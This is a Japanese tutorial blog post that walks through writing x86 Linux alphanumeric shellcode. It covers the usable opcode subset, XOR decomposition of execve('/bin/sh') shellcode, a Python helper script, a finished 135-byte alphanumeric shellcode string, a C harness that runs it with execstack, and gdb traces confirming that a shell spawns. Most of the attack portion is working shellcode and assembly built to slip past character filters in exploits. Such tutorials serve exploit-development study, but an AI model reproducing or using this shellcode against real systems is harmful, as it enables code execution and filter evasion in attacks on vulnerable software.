x86 alphanumeric shellcodeを書いてみる

Linux x86環境を対象に、アルファベットと数字のみからなるシェルコードを書いてみる。 このようなシェルコードはalphanumeric shellcodeと呼ばれる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

使える命令を調べてみる

まずは、アルファベットと数字に対応するASCIIコードを調べてみる。

$ man ascii
NAME
       ascii - ASCII character set encoded in octal, decimal, and hexadecimal

DESCRIPTION
   ...

   Tables
       For convenience, let us give more compact tables in hex and decimal.

          2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
        -------------      ---------------------------------
       0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
       1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
       2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
       3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
       4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
       5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
       6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
       7: ´ 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
       8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
       9: ) 9 I Y i y     9: ´  1  ;  E  O  Y  c  m   w
       A: * : J Z j z
       B: + ; K [ k {
       C: , < L \ l |
       D: - = M ] m }
       E: . > N ^ n ~
       F: / ? O _ o DEL

上の表から、0-9, A-Z, a-zがそれぞれ0x30-0x39, 0x41-0x5a, 0x61-0x7aに対応していることがわかる。 これをもとにx86のオペコードテーブルを見ると、次のような命令が使えることがわかる。

30      XOR r/m8 r8
31      XOR r/m16/32 r16/32
32      XOR r8 r/m8
33      XOR r16/32 r/m16/32
34      XOR AL imm8
35      XOR eAX imm16/32
38      CMP r/m8 r8
39      CMP r/m16/32 r16/32
40+r    INC r16/32    (except for eax)
48+r    DEC r16/32
50+r    PUSH r16/32
58+r    POP r16/32    (only for eax, ecx, edx)
61      POPAD
68      PUSH imm16/32
69      IMUL r16/32 r/m16/32 imm16/32
6a      PUSH imm8
6b      IMUL r16/32 r/m16/32 imm8
70-7a   JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8

ここで、r8はalなどの8ビットレジスタ(register)、imm8は0x41などの8ビット即値(immediate value)、r/m8は8bitアドレッシングモード指定(register or memory)、rel8は8ビット相対アドレス指定(relative address)を意味する。 アドレッシングモード指定とは、[eax+0x4][ecx+2*eax+0x4]のような指定のことである。

また、x86においてレジスタはeax, ecx, edx, ebx, esp, ebp, esi, ediの順で扱われる。 そのため、inc命令はeaxレジスタには使えない。 なぜなら、対応するオペコードが0x40 (@) となりアルファベットにならないためである。 同様の理由により、pop命令に使えるレジスタはeax, ecx, edxのみとなる。

xor命令についてはさまざまな指定が可能である。 ここでは、次の3つのパターンを利用する。 r/m8の指定に使うModR/Mバイト、SIBバイトについては次のページが参考になる。

$ echo "xor eax, 0x41424344" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 35444342      xor eax,0x41424344
   1      41
35 = XOR eAX imm16/32
44 43 42 41 = imm32
$ echo "xor [ecx], dh" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 3031          xor [ecx],dh
30 = XOR r/m8 r8
31 = 00110001
     mod = 00 ([reg])
     reg = 110 (dh)
     r/m = 001 (ecx)
$ echo "xor [esi+2*ecx+0x41], al" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 30444E41      xor [esi+2*ecx+0x41],al
30 = XOR r/m8 r8
44 = 01000100
     mod = 01 ([reg+disp8])
     reg = 000 (al)
     r/m = 100 (SIB)
4E = 01001110
     scale = 01 (2)
     index = 001 (ecx)
     base = 110 (esi)
41 = disp8

以上をもとに、シェルコードを書くのに使える操作をまとめると次のようになる。

  • push imm32pop imm32を使い、即値をレジスタにセットする
  • popadを使い、eax, ecx, edx以外のレジスタに値をセットする
  • inc r32dec r32を使い、1ずつレジスタの値を増減させる
  • xor imm32を使い、レジスタの値をxorする
  • xor r/m8 r8を使い、スタックに置いた値をバイトごとにxorする

popにはeax、ecx、ebxしか使えないため、これらがメインに使うレジスタとなる。

pushでシェルコードをスタックに積むコードを書いてみる

とりあえず、push命令で普通のシェルコードをスタック上に並べ、jmp espで実行するコードを書いてみる。

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ od -tx4z execve
0000000 6852d231 68732f2f 69622f68 52e3896e  >1.Rh//shh/bin..R<
0000020 8de18953 80cd0b42                    >S...B...<
0000030
        /* test.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x80cd0b42
        push 0x8de18953
        push 0x52e3896e
        push 0x69622f68
        push 0x68732f2f
        push 0x6852d231
        jmp esp

アセンブルして実行すると、シェルが起動できていることがわかる。

$ gcc -nostdlib test.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

alphanumericな即値同士のxorでスタックを作ってみる

次に、alphanumericな命令のみでスタックを作ることを考えてみる。 xor命令を使い、alphanumericな即値から上と同じスタックを作るコードを書くと次のようになる。

        /* test2.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x30
        pop eax
        xor al, 0x30
        push eax
        push eax
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push eax
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

        /* push 0x80cd0b42 */
        push edx
        pop eax
        xor eax, 0x30413230
        xor eax, 0x4f733972
        push eax
        push esp
        pop ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x8de18953 */
        push edx
        pop eax
        xor eax, 0x30443030
        xor eax, 0x425a4663
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x52e3896e */
        push ebx
        pop eax
        xor eax, 0x30443034
        xor eax, 0x6258465a
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x69622f68 */
        push ebx
        pop eax
        xor eax, 0x30304130
        xor eax, 0x59526e58
        push eax

        /* push 0x68732f2f */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58436e6e
        push eax

        /* push 0x6852d231 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58626c70
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh

        jmp esp

このコードでは、まずpopad命令を使いebxに0x00000000、edxに0xFFFFFFFFをセットする。 そして、alphanumericな即値同士のxorにより必要な値を組み立てる。 ただし、alphanumericなバイト同士のxorのみでは8ビット目が立てられないため、0x80-0xFFとなるバイトについては一度スタック上に置いた値を1バイトずつdhでxorする。 また、3バイト以上0x80-0xFFが含まれるワードについては、最初に0xFFFFFFFFとxorすることで命令の数を減らしている。

ここで、ある値をalphanumericな即値と0xFFに分解するのには、次のようなコードを利用した。

# decomposite.py
import sys
import struct

word = int(sys.argv[1], 16)

allowed = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)

chunk = struct.pack('<I', word)
x = ''
y = ''
z = ''

for c in map(ord, chunk):
    if c >= 0x80:
        z += '\xff'
        c ^= 0xff
    else:
        z += '\x00'
    for i in allowed:
        if i^c in allowed:
            x += chr(i)
            y += chr(i^c)
            break

print hex(struct.unpack('<I', x)[0])
print hex(struct.unpack('<I', y)[0])
print hex(struct.unpack('<I', z)[0])

このコードを実行すると、0x80cd0b420x30413230 ^ 0x4f733972 ^ 0xffff0000のように分解できることがわかる。

$ python decomposite.py 0x80cd0b42
0x30413230
0x4f733972
0xffff0000L

できあがったコードをアセンブルして実行すると、元のコード同様にシェルが起動できていることがわかる。

$ gcc -nostdlib test2.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

動的にjmp espを作るコードを書いてみる

上のコードでは、まだjmp esp (ff e4) がalphanumericにできていない。 そこで、jmp espの代わりにpush esp; ret (54 c3) を使い、c3をalphanumericなバイト同士のxorで作ることを考える。 実行時に適当なレジスタがシェルコードの先頭を指していることを前提に、コードを書いてみると次のようになる。

        /* alnum.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* set buffer register to ecx */
        push eax
        pop ecx

prepare_registers:
        push 0x30
        pop eax
        xor al, 0x30
                  /* omit eax, ecx */
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push ecx  /* esi = buffer */
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

patch_ret:
        /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
        push edx
        pop eax
        xor al, 0x44
        push 0x30
        pop ecx
        dec ecx
        dec ecx
        dec ecx
        dec ecx
        dec ecx
        xor [esi+2*ecx+0x30], al

build_stack:
        /* push 0x80cd0b42 */
        push edx
        pop eax
        xor eax, 0x30413230
        xor eax, 0x4f733972
        push eax
        push esp
        pop ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x8de18953 */
        push edx
        pop eax
        xor eax, 0x30443030
        xor eax, 0x425a4663
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x52e3896e */
        push ebx
        pop eax
        xor eax, 0x30443034
        xor eax, 0x6258465a
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x69622f68 */
        push ebx
        pop eax
        xor eax, 0x30304130
        xor eax, 0x59526e58
        push eax

        /* push 0x68732f2f */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58436e6e
        push eax

        /* push 0x6852d231 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58626c70
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh

        push esp

ret:
        .byte 0x78

このコードでは、まず適当なレジスタに入っているシェルコードの先頭アドレスをesiレジスタにセットする。 そして、esi+2*ecx+0x30がretの位置を指すようにecxの値を調整した上で、xorにより0xc3 (ret) を動的に作る。 その後は、スタックが作られた後espへのジャンプが行われる。

アセンブルしてバイト列を表示してみると、すべてalphanumericなバイトにできていることがわかる。

$ gcc -nostdlib alnum.s

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 bea2a073 77a1aee3 62ee4d65 1e835118  ...sw...b.Me..Q.
 8048094 d50fd08c                             ....
Contents of section .text:
 8048098 50596a30 58343050 50505051 50614a52  PYj0X40PPPPQPaJR
 80480a8 5834446a 30594949 49494930 444e3052  X4Dj0YIIIII0DN0R
 80480b8 58353032 41303572 39734f50 54593031  X502A05r9sOPTY01
 80480c8 41303152 58353030 44303563 465a4250  A01RX500D05cFZBP
 80480d8 54593031 53583534 30443035 5a465862  TY01SX540D05ZFXb
 80480e8 50545941 30314130 31535835 30413030  PTYA01A01SX50A00
 80480f8 35586e52 59505358 35414130 30356e6e  5XnRYPSX5AA005nn
 8048108 43585053 58354141 30303570 6c625850  CXPSX5AA005plbXP
 8048118 54594130 315478                      TYA01Tx

$ strings -n8 a.out
PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

このシェルコードの長さは135バイトである。

シェルコードにジャンプするプログラムを書いてみる

できあがったシェルコードをスタック上に置き、明示的にジャンプするプログラムを書くと次のようになる。

/* shellcode.c */

int main()
{
    char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx";
    (*(void (*)())shellcode)();
}

DEP無効でコンパイルし、実行してみる。

$ gcc -z execstack shellcode.c

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

シェルが起動できていることが確認できた。

gdbで動作を確認してみる

gdbを使い、シェルコードの動作を確認してみる。 まずは、シェルコードが実行される直前まで進めてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x804840a
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x0804840a in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x804840a <main+6>:  and    esp,0xfffffff0
(gdb) disas
Dump of assembler code for function main:
   0x08048404 <+0>:     push   ebp
   0x08048405 <+1>:     mov    ebp,esp
   0x08048407 <+3>:     push   edi
   0x08048408 <+4>:     push   esi
   0x08048409 <+5>:     push   ebx
=> 0x0804840a <+6>:     and    esp,0xfffffff0
   0x0804840d <+9>:     sub    esp,0x90
   ...
   0x08048438 <+52>:    lea    eax,[esp+0x4]
   0x0804843c <+56>:    call   eax
   0x0804843e <+58>:    mov    edx,DWORD PTR [esp+0x8c]
   ...
End of assembler dump.
(gdb) u *main+56
0x0804843c in main ()
1: x/i $pc
=> 0x804843c <main+56>: call   eax

ここで、シェルコードのアドレスはeaxレジスタに入っている。 eaxレジスタでない場合には、push eaxに対応するシェルコードの先頭1バイトを書き換えればよい。

xorによりret (0xc3) が動的に作られていることを確認してみる。

(gdb) si
0xbffff704 in ?? ()
1: x/i $pc
=> 0xbffff704:  push   eax
(gdb) x/40i $pc
=> 0xbffff704:  push   eax
   0xbffff705:  pop    ecx
   ...
   0xbffff71e:  dec    ecx
   0xbffff71f:  xor    BYTE PTR [esi+ecx*2+0x30],al
   0xbffff723:  push   edx
   ...
(gdb) b *0xbffff71f
Breakpoint 2 at 0xbffff71f
(gdb) c
Continuing.

Breakpoint 2, 0xbffff71f in ?? ()
1: x/i $pc
=> 0xbffff71f:  xor    BYTE PTR [esi+ecx*2+0x30],al
(gdb) x/bx $esi+$ecx*2+0x30
0xbffff78a:     0x78
(gdb) si
0xbffff723 in ?? ()
1: x/i $pc
=> 0xbffff723:  push   edx
(gdb) x/bx $esi+$ecx*2+0x30
0xbffff78a:     0xc3

一連の処理が終わった後、スタック上に普通のシェルコードが並べられていることを確認してみる。

(gdb) x/60i $pc
=> 0xbffff723:  push   edx
   0xbffff724:  pop    eax
   0xbffff725:  xor    eax,0x30413230
   0xbffff72a:  xor    eax,0x4f733972
   0xbffff72f:  push   eax
   ...
   0xbffff789:  push   esp
   0xbffff78a:  ret
   ...
(gdb) b *0xbffff78a
Breakpoint 3 at 0xbffff78a
(gdb) c
Continuing.

Breakpoint 3, 0xbffff78a in ?? ()
1: x/i $pc
=> 0xbffff78a:  ret
(gdb) x/8wx $esp
0xbffff6e8:     0xbffff6ec      0x6852d231      0x68732f2f      0x69622f68
0xbffff6f8:     0x52e3896e      0x8de18953      0x80cd0b42      0x306a5950

push espからのret命令により、展開されたシェルコードが実行されていることを確認してみる。

(gdb) si
0xbffff6ec in ?? ()
1: x/i $pc
=> 0xbffff6ec:  xor    edx,edx
(gdb) x/10i $pc
=> 0xbffff6ec:  xor    edx,edx
   0xbffff6ee:  push   edx
   0xbffff6ef:  push   0x68732f2f
   0xbffff6f4:  push   0x6e69622f
   0xbffff6f9:  mov    ebx,esp
   0xbffff6fb:  push   edx
   0xbffff6fc:  push   ebx
   0xbffff6fd:  mov    ecx,esp
   0xbffff6ff:  lea    eax,[edx+0xb]
   0xbffff702:  int    0x80
(gdb) c
Continuing.
process 14629 is executing new program: /bin/dash
$
[Inferior 1 (process 14629) exited normally]
(gdb) quit

関連する話題について

ここでは、xorによる実行時書き換えによってpush esp; retを作りespに制御を移した。 この方法の他にも、シェルコードがスタック上に置かれているという前提のもと、シェルコードジャンプ時のeipとespが近くになることを利用する方法もある。 具体的には、popad命令の繰り返しによりespをeipより先のアドレスに進めた後、eipが進む方向と逆向きにスタックを積み上げていく。 そして最後に、eipがその上に到達するまで0x90909090(nop命令4個)を繰り返し積み上げる。

/* eax = 0x90909090 */
50  push eax  | eip
50  push eax  |
50  push eax  |
50  push eax  v
...
...
...
...
90  nop       ^
90  nop       |
90  nop       |
90  nop       | esp
[shellcode]

また、xorとpushにより普通のシェルコードを展開したが、後続するバイト列のデコーダを展開することもできる。 すなわち、alphanumericなバイト列にエンコードしたシェルコードをデコーダの後ろに繋げ、実行時に展開されたデコーダがそれを元に戻す。 このようにすれば、汎用的な形で任意のシェルコードをalphanumeic shellcodeに変換することができる。

alphanumericなバイト列で表されるもの以外にも、0x20-0x7eの印字可能文字(printable characters)のみで表されるもの、UTF-16文字列として表されるもの、UTF-8文字列として表されるものも考えることができる。

関連リンク